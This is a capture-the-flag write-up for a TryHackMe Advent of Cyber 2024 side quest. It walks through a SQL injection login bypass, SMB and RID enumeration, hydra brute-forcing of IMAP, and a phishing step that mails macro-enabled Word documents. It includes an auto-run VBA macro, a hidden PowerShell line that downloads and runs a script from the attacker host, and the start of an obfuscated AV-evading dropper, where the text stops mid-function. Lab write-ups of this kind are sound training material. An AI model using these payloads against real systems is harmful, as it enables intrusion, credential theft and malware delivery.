# T4: Krampus Festival

{% embed url="<https://tryhackme.com/r/room/adventofcyber24sidequest>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## L4 Keycard

The keycard for the fourth side quest is hidden in the task for the 17th day of the TryHackMe Advent Of Cyber. The following task mentions that they got the CCTV running again. It seems like we have to look for a service running on the walkthrough machine: `Good thing we had a backup of the CCTV application from yesterday. We got it running again in no time!`

Day 17: He analyzed and analyzed till his analyzer was sore!

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FU6OWBAapPTK3msHDTz4P%2Fgrafik.png?alt=media&#x26;token=8d4fafab-2a33-43ff-a0dd-923d3090002d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPzEBbHPHxDOcuq64RyL7%2Fgrafik.png?alt=media&#x26;token=bb774ff1-c63c-46b6-a0a9-c4e2601ba3b4" alt=""><figcaption></figcaption></figure>

We start with an Nmap scan on the walkthrough machine to find the camera application if necessary. We have 5 open ports.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDAUbl01GnE3YYHJtpKxB%2Fgrafik.png?alt=media&#x26;token=1ffb66eb-7c99-4195-adab-89675962169c" alt=""><figcaption></figcaption></figure>

On port `8080` we find the Wareville CCTV application.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVh8x1kqjYUxTylkzCDdh%2Fgrafik.png?alt=media&#x26;token=f2530bd0-ea72-423b-8fa6-881372c0f2e4" alt=""><figcaption></figcaption></figure>

We click on Login and then enter our credentials and intercept the request using Burp Suite.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6om9UwVtzbL9aVVuLyRx%2Fgrafik.png?alt=media&#x26;token=7599907e-d26c-4cca-80d4-2782aa920618" alt=""><figcaption></figcaption></figure>

We save the request and use it for SQLMap to test the login for SQL Injection.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3gfgqdtWqgRdquZeAeu4%2Fgrafik.png?alt=media&#x26;token=50ad4a98-71a4-46ee-a4a8-2b2d3f49f49d" alt=""><figcaption></figcaption></figure>

The login is vulnerable to SQL injection. We could now dump the database using time-based blind boolean, but it would take far too long. We now know that it is vulnerable and try to bypass the login.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS1bY0tDoyllCbhqNPA8b%2Fgrafik.png?alt=media&#x26;token=fd106fe5-764c-407f-abf1-bd43fe20c3e5" alt=""><figcaption></figcaption></figure>

With the following payload we can bypass the login and get redirected to `my_cameras.php`.&#x20;

```
admin' or 1=1 -- -
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZGraG2ib2H24EZwtXAdH%2Fgrafik.png?alt=media&#x26;token=8a590d04-0fc6-4752-926d-9745d61ba7f3" alt=""><figcaption></figcaption></figure>

Here we can select different cameras and view the recordings.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnJGGmMfoAAN0MG9N54he%2Fgrafik.png?alt=media&#x26;token=39c08c1a-e5ae-46de-9294-1381015385c0" alt=""><figcaption></figcaption></figure>

The cameras are selected via `camper.php?cam_id=1`. We test for SQL injection again.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmsXDdT6e3Od4Z4nUZZwH%2Fgrafik.png?alt=media&#x26;token=2459cdda-3a07-4197-9a44-1b6e67efbae5" alt=""><figcaption></figcaption></figure>

First, we intercept a request and save it so that we can then use it for SQLMap.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2XaTvPUVXzNHPi1WcTkM%2Fgrafik.png?alt=media&#x26;token=93cefedf-a22f-40f9-807c-190c960637d5" alt=""><figcaption></figcaption></figure>

We are able to dump the database.

```
sqlmap -r req2.txt --dump
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FM2z2fACzwTJ15MwCkF6t%2Fgrafik.png?alt=media&#x26;token=23d3a59a-e818-47f1-94d0-e8eeaca048a5" alt=""><figcaption></figcaption></figure>

The `cctv_db` has table recordings with a lot of entries to the path `/recordings/rec1337-deleted.mp4`.

```
Database: cctv_db
Table: recordings
[53 entries]
+----+--------+---------------------------------+---------+---------------------+
| id | cam_id | path                            | minutes | date_recording      |
+----+--------+---------------------------------+---------+---------------------+
| 1  | 11     | /recordings/rec1337-deleted.mp4 | 5       | 2024-12-10 11:27:28 |
| 9  | 5      | /recordings/rec1337-deleted.mp4 | 10      | 2024-12-05 22:38:35 |
| 10 | 3      | /recordings/rec1337-deleted.mp4 | 19      | 2024-12-13 06:50:33 |
| 11 | 8      | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-15 14:17:00 |
| 12 | 13     | /recordings/rec1337-deleted.mp4 | 23      | 2024-12-05 02:53:21 |
| 13 | 3      | /recordings/rec1337-deleted.mp4 | 12      | 2024-12-09 19:35:45 |
| 14 | 3      | /recordings/rec1337-deleted.mp4 | 26      | 2024-12-16 17:18:40 |
| 15 | 4      | /recordings/rec1337-deleted.mp4 | 25      | 2024-12-05 03:46:06 |
| 16 | 4      | /recordings/rec1337-deleted.mp4 | 2       | 2024-12-06 14:54:32 |
| 17 | 13     | /recordings/rec1337-deleted.mp4 | 22      | 2024-12-16 15:14:21 |
| 18 | 5      | /recordings/rec1337-deleted.mp4 | 16      | 2024-12-14 07:28:07 |
| 19 | 6      | /recordings/rec1337-deleted.mp4 | 3       | 2024-12-04 15:37:33 |
| 20 | 1      | /recordings/rec1337-deleted.mp4 | 6       | 2024-12-11 07:43:22 |
| 21 | 9      | /recordings/rec1337-deleted.mp4 | 15      | 2024-12-09 15:44:14 |
| 22 | 5      | /recordings/rec1337-deleted.mp4 | 1       | 2024-12-13 07:31:05 |
| 23 | 11     | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-04 14:22:42 |
| 24 | 4      | /recordings/rec1337-deleted.mp4 | 29      | 2024-12-14 01:20:15 |
| 25 | 12     | /recordings/rec1337-deleted.mp4 | 4       | 2024-12-07 11:33:10 |
| 26 | 12     | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-10 05:45:04 |
| 27 | 5      | /recordings/rec1337-deleted.mp4 | 23      | 2024-12-11 18:05:52 |
| 28 | 1      | /recordings/rec1337-deleted.mp4 | 8       | 2024-12-11 01:14:07 |
| 29 | 12     | /recordings/rec1337-deleted.mp4 | 17      | 2024-12-02 23:52:59 |
| 30 | 2      | /recordings/rec1337-deleted.mp4 | 12      | 2024-12-12 19:42:36 |
| 31 | 2      | /recordings/rec1337-deleted.mp4 | 5       | 2024-12-06 02:54:01 |
| 32 | 11     | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-07 03:22:19 |
| 33 | 10     | /recordings/rec1337-deleted.mp4 | 16      | 2024-12-16 08:09:30 |
| 34 | 12     | /recordings/rec1337-deleted.mp4 | 13      | 2024-12-11 06:40:32 |
| 35 | 9      | /recordings/rec1337-deleted.mp4 | 5       | 2024-12-06 08:54:12 |
| 36 | 10     | /recordings/rec1337-deleted.mp4 | 26      | 2024-12-13 00:29:24 |
| 37 | 8      | /recordings/rec1337-deleted.mp4 | 4       | 2024-12-12 23:44:25 |
| 38 | 6      | /recordings/rec1337-deleted.mp4 | 28      | 2024-12-08 21:13:54 |
| 39 | 2      | /recordings/rec1337-deleted.mp4 | 29      | 2024-12-04 10:56:14 |
| 40 | 12     | /recordings/rec1337-deleted.mp4 | 4       | 2024-12-10 14:59:26 |
| 41 | 12     | /recordings/rec1337-deleted.mp4 | 29      | 2024-12-06 18:08:31 |
| 42 | 6      | /recordings/rec1337-deleted.mp4 | 18      | 2024-12-16 21:44:16 |
| 43 | 6      | /recordings/rec1337-deleted.mp4 | 5       | 2024-12-15 06:15:46 |
| 44 | 13     | /recordings/rec1337-deleted.mp4 | 16      | 2024-12-08 14:06:04 |
| 45 | 11     | /recordings/rec1337-deleted.mp4 | 22      | 2024-12-12 03:43:01 |
| 46 | 5      | /recordings/rec1337-deleted.mp4 | 2       | 2024-12-02 00:16:53 |
| 47 | 2      | /recordings/rec1337-deleted.mp4 | 17      | 2024-12-04 14:15:21 |
| 48 | 9      | /recordings/rec1337-deleted.mp4 | 10      | 2024-12-15 22:26:09 |
| 49 | 4      | /recordings/rec1337-deleted.mp4 | 25      | 2024-12-16 21:24:40 |
| 50 | 2      | /recordings/rec1337-deleted.mp4 | 28      | 2024-12-03 15:44:53 |
| 51 | 10     | /recordings/rec1337-deleted.mp4 | 24      | 2024-12-14 14:30:26 |
| 52 | 13     | /recordings/rec1337-deleted.mp4 | 8       | 2024-12-13 01:17:33 |
| 53 | 13     | /recordings/rec1337-deleted.mp4 | 17      | 2024-12-04 10:56:24 |
| 54 | 6      | /recordings/rec1337-deleted.mp4 | 2       | 2024-12-14 02:49:21 |
| 55 | 13     | /recordings/rec1337-deleted.mp4 | 16      | 2024-12-08 05:17:35 |
| 56 | 3      | /recordings/rec1337-deleted.mp4 | 18      | 2024-12-13 17:59:50 |
| 57 | 9      | /recordings/rec1337-deleted.mp4 | 21      | 2024-12-11 02:06:27 |
| 58 | 11     | /recordings/rec1337-deleted.mp4 | 30      | 2024-12-13 04:32:45 |
| 59 | 9      | /recordings/rec1337-deleted.mp4 | 27      | 2024-12-15 16:24:24 |
| 60 | 12     | /recordings/rec1337-deleted.mp4 | 1       | 2024-12-05 20:23:44 |
+----+--------+---------------------------------+---------+---------------------+

```

We visit the path on the website, and after a short duration, the keycard appears.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FalMcqy1ycslSLhAwsgXw%2Fgrafik.png?alt=media&#x26;token=3c173818-c1dc-4f38-8555-d12ce988bf67" alt=""><figcaption></figcaption></figure>

## Teardown Firewall

We can deactivate the firewall with the password of the keycard. We can pass the value to a website on port `21337`.

## Recon

After the deactivation of the firewall, we start with a Nmap scan. We have several open ports on the machine, referring to a Windows host.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FysFdispdHanQlFfsybh8%2Fgrafik.png?alt=media&#x26;token=71247809-cc68-43d0-a27e-609cd4e59582" alt=""><figcaption></figcaption></figure>

We have port `53` DNS, port `80` a web server, `139` and `445` SMB, port `135` RPC, `464` Kerberos, `143` IMAP, `587` SMTP, `3389` RDP and 5985 Windows Remote Management. Interestingly, LDAP `389` and Kerberos authentication system `88` are missing for a challenge that suggests it may be AD-related.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcLevyMyKEuMhtLZRRzHQ%2Fgrafik.png?alt=media&#x26;token=983f2de7-e5fe-4763-b4d4-84659044b18d" alt=""><figcaption></figcaption></figure>

The UDP scan shows that LDAP is there, but we can't really make use of it on UDP.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxzPlWd8D2I7aB4UVa3Xw%2Fgrafik.png?alt=media&#x26;token=883577f7-28cd-423b-b522-3cb632987249" alt=""><figcaption></figcaption></figure>

Using dnsenum to enumerate the DNS server only shows the domain `socmas.corp` and the name of the machine `fisher.socmas.corp`. This suggests that it might be a phishing related machine.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7JfzcEj5Uur5QGlFA1uU%2Fgrafik.png?alt=media&#x26;token=e0306f0b-1658-44c3-8c5b-9d224242c6ef" alt=""><figcaption></figcaption></figure>

The directory scan of the website does not yield anything fruitful.

```
gobuster dir -u http://socmas.corp -w /usr/share/wordlists/dirb/big.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmbMWdg7zbZRw5lajAVJJ%2Fgrafik.png?alt=media&#x26;token=d4904797-eb3e-478a-8488-3ff118bc70c6" alt=""><figcaption></figcaption></figure>

The same applies to the VHOST scan.

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://socmas.crop/ -H "Host:FUZZ.socmas.corp" -fw 1141
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZqV6W8IsJwUPn4KNmCta%2Fgrafik.png?alt=media&#x26;token=016d8d24-e397-4c56-8a1c-4b4a53a512cf" alt=""><figcaption></figcaption></figure>

Since SMB is there, we could use NetExec to enumerate the SMB shares. We can authenticate without a username and password.

```
nxc smb 10.10.117.165 -u '' -p ''
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMHtdgIpVju5xLVLVpmGd%2Fgrafik.png?alt=media&#x26;token=b4eb23b1-ab4d-4b34-8772-7b55a3718873" alt=""><figcaption></figcaption></figure>

But we cannot enumerate the shares. With a guest user without providing a password, we are able to enumerate the shares. There is a `ChristmasShare` that we are able to read.

```
nxc smb 10.10.117-165 -u 'guest' p '' --shares
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmXQV95tE25HCNbWNttyS%2Fgrafik.png?alt=media&#x26;token=11a9a244-721a-418a-853e-d312ef2ab5ad" alt=""><figcaption></figcaption></figure>

We use smbclient to connect to the share and find the first flag. Next to the flag we find an xlsx called `approved` and two images. One of them has the name steg. Is this really a steganographic challenge? We use `mget *` to download the whole share.

```
smbclient //10.10.117.165/ChristmasShare
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F45vWEyMaznAZBtsr43I3%2Fgrafik.png?alt=media&#x26;token=91042dae-0405-4d03-95c4-bb007f757549" alt=""><figcaption></figcaption></figure>

And it is indeed the first flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFidoDOs386aXk6Wdwhbd%2Fgrafik.png?alt=media&#x26;token=a62ef746-130b-441b-9a95-dd6229954436" alt=""><figcaption></figcaption></figure>

## Mail Access

When we examine `approved.xlsx`, we see some entries that look like passwords. We save the contents to a text file called `approved.txt` to use later.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5eIkqJ6Zu1i0D82yCcne%2Fgrafik.png?alt=media&#x26;token=78ddfc80-bec6-4c13-a7a7-54bb40586f97" alt=""><figcaption></figcaption></figure>

We are still missing some usernames. But since SMB is available and the $IPC share is readable, we can use rid bruteforce and get some usernames.

RID brute-forcing works by connecting to the IPC$ share of the target system and using the Security Account Manager Remote (SAMR) protocol to enumerate accounts. It starts with a known base RID (e.g. 500 for the administrator) and increments through potential RIDs, querying the system to see if a valid user or group exists for each one. Successful responses reveal the account names associated with those RIDs, allowing attackers to map users and groups on the target.

```
nxc smb 10.10.117.165 -u 'guest' -p '' --rid
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLofHVUbQ9SzBU5zdBhvX%2Fgrafik.png?alt=media&#x26;token=a00324b3-afa3-4160-bc93-3e34839d71ca" alt=""><figcaption></figcaption></figure>

We saved the result to `rid.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCK7wWLxyohhAVPEc7zRP%2Fgrafik.png?alt=media&#x26;token=7ac76642-77a1-4c83-95cf-869b35031934" alt=""><figcaption></figcaption></figure>

And compile it into a proper usernamelist using awk.

```
awk '{print $6}' rid.txt | awk -F '\\\\' '{print $2}' > usernames.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS1QcUxPmpfNZ36eK7Vrf%2Fgrafik.png?alt=media&#x26;token=fbca4827-5312-402b-8ff5-0e840a8970ec" alt=""><figcaption></figcaption></figure>

Since we know the domain and that some mail-related ports are open, we also create a list of possible mails with the following command:

```
sed 's/$/@socmas.corp/' usernames.txt > updated_usernames.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJGpIcEU0qFIUoqOVshci%2Fgrafik.png?alt=media&#x26;token=475e8de2-ddd4-4884-9788-39ae47db64e1" alt=""><figcaption></figcaption></figure>

But there is also this stego image on the share. We try some stego tools on the images but find nothing useful. But there are two entries in the metadata of the `approved.xlsx` file. We have a creator called `developer@test.corp` and someone who modified the file called `Administrator@SOCMAS.CORP`.

```
exiftool approved.xlsx
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlACdVtwfvsMLuOrjRlh3%2Fgrafik.png?alt=media&#x26;token=f3e7e741-a862-497d-b7eb-8efe9ab7a7aa" alt=""><figcaption></figcaption></figure>

We try to brute-force the credentials on SMTP and IMAP with our compiled list of mail addresses and the approved.txt, but do not find a valid combination. The list of usernames may come in handy later.

But there was also this user `developer@test.corp`. We use hydra to test for a combination with this user, but do not get a hit on SMTP.

```
hydra -l developer@test.corp -P approved.txt 10.10.233.55 smtp
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxAUSTzJJO3WkiTED9PEK%2Fgrafik.png?alt=media&#x26;token=f58373e5-d5f3-475c-91af-09f43e264954" alt=""><figcaption></figcaption></figure>

But we get a hit on IMAP. Nice, we have access to one mail account.

```
hydra -l developer@test.corp -P approved.txt 10.10.233.55 imap
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWOUxtEJ2V1ClhUIuYYHg%2Fgrafik.png?alt=media&#x26;token=5ffd9ac1-e5ae-4760-bd99-f97769d15abb" alt=""><figcaption></figcaption></figure>

We can test it via telnet and log in. As well as selecting the INBOX.

```
A001 LOGIN developer@test.corp REDACTED
A002 LIST "" "*"
A003 SELECT INBOX
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUwxf4YrxqTpqEU1D6jzD%2Fgrafik.png?alt=media&#x26;token=0a29e0b0-577d-439a-8d59-8c667aed3849" alt=""><figcaption></figcaption></figure>

There are some mails we can fetch. But let's switch to a more convenient tool like Evolution.

```
A004 FETCH 1:1 (BODY[HEADER])
A005 FETCH 1:1 (BODY[TEXT])
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSXQlEY7dBkul0hnOwyi3%2Fgrafik.png?alt=media&#x26;token=d2ce9756-151f-403e-9307-c4b9f2416653" alt=""><figcaption></figcaption></figure>

The first email we fetch is a request from `snowflakes.crawler@socmas.crop` for a document containing the account details of all non-personal users.

```
Hi,

I hope this message finds you well.

As part of our ongoing efforts to maintain an organized and efficient 
system, we need to identify and remove user accounts that are not 
designated as personal accounts. To proceed with this initiative, we 
kindly request a document containing the account details of all 
non-personal users.

The required details include:

  * Username
  * Password
  * Email address
  * Associated department/team (if applicable)
  * Account creation date (if available)

Please provide the information in a |.docx| format by/December 25th, 
2024/ to ensure timely processing. If there are any concerns or 
additional clarifications needed, feel free to reach out to me directly.

Your assistance in this matter is greatly appreciated and plays a 
crucial role in improving our system's efficiency.

Thank you for your cooperation.

Best regards,
```

### Evolution Setup

Before we continue, let us set up Evolution. We will add a new account and set the email address.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLrIsOvBDk2I3juJA2ELX%2Fgrafik.png?alt=media&#x26;token=cb6e6ad2-0db4-49c4-aa66-7e38d554e180" alt=""><figcaption></figcaption></figure>

Next, to receive mail, we select the server type IMAP, the server `socmas.corp` (which we have an entry for in our `/etc/hosts`) and enter the username `developer@test.corp`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPZ8xj45eh20teV39bWvZ%2Fgrafik.png?alt=media&#x26;token=20488a4a-c7c9-4f82-b87d-e802230a3e57" alt=""><figcaption></figcaption></figure>

To send the mails, we chose SMTP for the `socmas.corp` server on port `587`. But we will not bother here, as we will send the mail via swaks, which is even faster and more convenient for testing challenges like this.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F000A1hAiwn0HLJDsEn8H%2Fgrafik.png?alt=media&#x26;token=b48719c1-c600-4a2d-9c20-30c8601d04b8" alt=""><figcaption></figcaption></figure>

Now we can read all three mails. The fourth email is a reply from `snowflakes.crawler`, which we will discuss later. Here we have the mail we found using telnet.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1gMCELO9r40Q4BtwVWnp%2Fgrafik.png?alt=media&#x26;token=b338cd4e-1e1d-4d2e-97f6-a607d7845e7a" alt=""><figcaption></figcaption></figure>

We also get information about improved protection with an updated anti-virus system, and all web traffic is now encrypted.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fr84QYFLb50XTCL3gs9ba%2Fgrafik.png?alt=media&#x26;token=0783363b-c182-4a8c-b893-99a781f47025" alt=""><figcaption></figcaption></figure>

The last email from `snowflakes.crawler` to the developer is about sending the document credentials that Snowflakes still needs. So to get a foothold, it looks like we need to trick Snowflakes into opening a malicious attachment, such as an executable or macro-enabled document.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtYOFvvymWFPOxJN1P5yN%2Fgrafik.png?alt=media&#x26;token=1fed0982-e33f-4168-a044-791fc722fd04" alt=""><figcaption></figcaption></figure>

When we send something to `snowflakes.crawler`, we get a message back that the attachment is not what the elf was looking for. The answers may vary.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQNjU50GRsiazmYXz5Jcv%2Fgrafik.png?alt=media&#x26;token=5715e14a-aa77-419a-9bff-76ab2bbf8e99" alt=""><figcaption></figcaption></figure>

## Shell as Scrawler

Several tests were done to get a shell. One idea was to inject macros from a remote dotm template, which worked partially but not completely.

{% embed url="<https://tho-le.medium.com/remote-ms-office-template-injection-ffbe0d81512d>" %}

This came from the idea that only `.docx` formats would be accepted, based on the feedback we received by email.

But with a little test, we see that `.docm` documents are also accepted. We create a simple macro that simply pings our machine four times.

{% code title="krampus.docm" overflow="wrap" lineNumbers="true" %}

```visual-basic
Sub AutoOpen()
  On Error Resume Next
  Call MyMacro
  On Error GoTo 0
End Sub

Sub Document_Open()
  On Error Resume Next
  Call MyMacro
  On Error GoTo 0
End Sub

Sub MyMacro()
    Dim IPAddress As String
    Dim PingCommand As String

    ' target IP address
    IPAddress = "10.14.90.235"

    'pPing pommand
    PingCommand = "cmd.exe /c ping -n 4 " & IPAddress

    ' execute ping
    CreateObject("WScript.Shell").Run PingCommand, 0, False
End Sub
```

{% endcode %}

We send the macro via swaks with the following command.

```
swaks --to 'snowflakes.crawler@socmas.corp' \
      --from 'developer@test.corp' \
      --header 'RE: Request for Account Details to Identify Non-Personal Accounts' \
      --body 'Here is the Document!' \
      --attach-type application/octet-stream \
      --attach @krampus.docm\
      --server socmas.corp \
      --port 587 \
      --timeout 20s \
      --auth LOGIN \
      --auth-user developer@test.corp \
      --auth-password REDACTED

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FE6dEMBHg8B1xGFhV2HGw%2Fgrafik.png?alt=media&#x26;token=619677d7-1437-4426-bd71-03258beafe9a" alt=""><figcaption></figcaption></figure>

And get an answer from `snowflakes.crawler`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeHcdE1hKBs6fAP907n0O%2Fgrafik.png?alt=media&#x26;token=7d436ff1-5075-4575-9f93-112e431f3f76" alt=""><figcaption></figcaption></figure>

At this point we can see the incoming pings using tcpdump. So docm, macros are allowed. But a simple macro that just uses a PowerShell reverse shell from `revshells.com` is not enough. Even downloading a `netcat.exe` and running it doesn't work. AV is very strict and works. It requires a more obfuscated payload.

```
sudo tcpdump -i tun0 icmp
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOsNCWRk4V3man8TUbFK7%2Fgrafik.png?alt=media&#x26;token=9b9ea12a-5e21-4d57-9dc1-3e86bbdf7a8d" alt=""><figcaption></figcaption></figure>

### Payload Preparation

This idea, powershell script, marko and binary were developed by Aquinas. All rights and credit are attributed to him.

The execution to get a reverse shell is split into three parts. First, an obfuscated Word macro that downloads a text file and executes its contents using powershell. A powershell script that downloads and runs an executable. And the executable, which is well obfuscated for AV as it is built with go to get a reverse shell.

This Word macro downloads a txt file and runs a PowerShell script.

The parameters a,b,c,d represents the octets of the IP where a and b 256 are added to the actual ip.

The dd parameter is for the port. The parameters e and f specify the name of the text file.

{% code overflow="wrap" %}

```
GetObject(winmgmts:).Get(Win32_Process).Create powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://10.14.90.235:80/run.txt'))
```

{% endcode %}

{% code title="krampus.docm" overflow="wrap" lineNumbers="true" %}

```visual-basic
Function Pre()
    Pre = Array(4, 7, 30, 22, 27, 0, 9, 17, 9, 31, 84, 69, 0, 20, 9, 12, 87, 13, 11, 28, 5, 7, 27, 73, 94, 7, 28, 17, 84, 72, 4, 84, 0, 12, 8, 8, 10, 25, 79, 95, 15, 68, 29, 13, 17, 91, 65, 29, 4, 3, 72, 28, 22, 2, 0, 15, 24, 79, 4, 22, 1, 24, 1, 25, 70, 7, 22, 29, 93, 22, 17, 7, 16, 24, 1, 0, 2, 24, 70, 89, 11, 29, 27, 10, 24, 7, 8, 23, 26, 7, 19, 29, 11, 20, 92, 79, 13, 24, 24, 31, 77, 64, 93)
End Function
Function Post2()
    Post2 = Array(83, 65, 64)
End Function
Function Source()
    Source = Array(3, 1, 7, 30, 14, 30, 21, 7, 95)
End Function
Function Dest()
    Dest = Array(35, 1, 7, 64, 91, 44, 49, 6, 10, 16, 17, 27, 22)
End Function
Function Key()
    Key = "thisisatesthelloworld"
End Function
Function Comb(parts)
    For i = LBound(parts) To UBound(parts) - 1:
        Comb = Comb + Trim(parts(i) + ".")
    Next
    Comb = Comb + Trim(parts(UBound(parts)))
End Function
Function Eval(equation)
    k = Key()
    For i = LBound(equation) To UBound(equation)
